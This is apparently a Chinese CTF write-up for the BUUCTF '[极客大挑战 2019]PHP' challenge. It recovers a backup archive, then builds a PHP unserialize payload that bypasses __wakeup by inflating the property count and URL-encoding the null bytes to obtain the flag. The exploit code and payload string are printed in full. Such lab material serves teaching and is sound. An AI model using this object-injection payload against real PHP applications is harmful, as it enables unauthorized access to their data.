buu-[极客大挑战 2019]PHP
打开题目
根据提示
用备份文件的字典来爆破
得知备份文件为www.zip
将备份文件下载下来
发现有flag.php文件
直接查看
可是里面给的字符串提交不了
在查看index.php的时候发现了一串php代码
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
应该是考察反序列化
查看class.php文件
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
分析可知当执行destruct魔术方法时
当password的值为100时,用户名为admin时会输出flag
当是上面的魔术方法wakeup会将用户名变为guest
我们就要绕过这个点
__wakeup(): 将在序列化之后立即被调用
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup
exp
<?php class Name { private $username = 'admin'; private $password = '100'; } $a = new Name(); echo serialize($a);
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
我们只需要把name后面的2改成更大的数就可以绕过wakeup了
因为name后门的2代表了类中有2个属性,当把2改成更大的数时,表示属性个数的值就大于真实个数了
就可以绕过了
payload:select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
发现错了
我蒙了
查了一下wp
发现在Name的两边有2个空字节,url编码为%00
所以在上面的exp输出时要变一下
echo urlencode(serialize($a));
这样输出url编码就不会丢失%00了
成功得到flag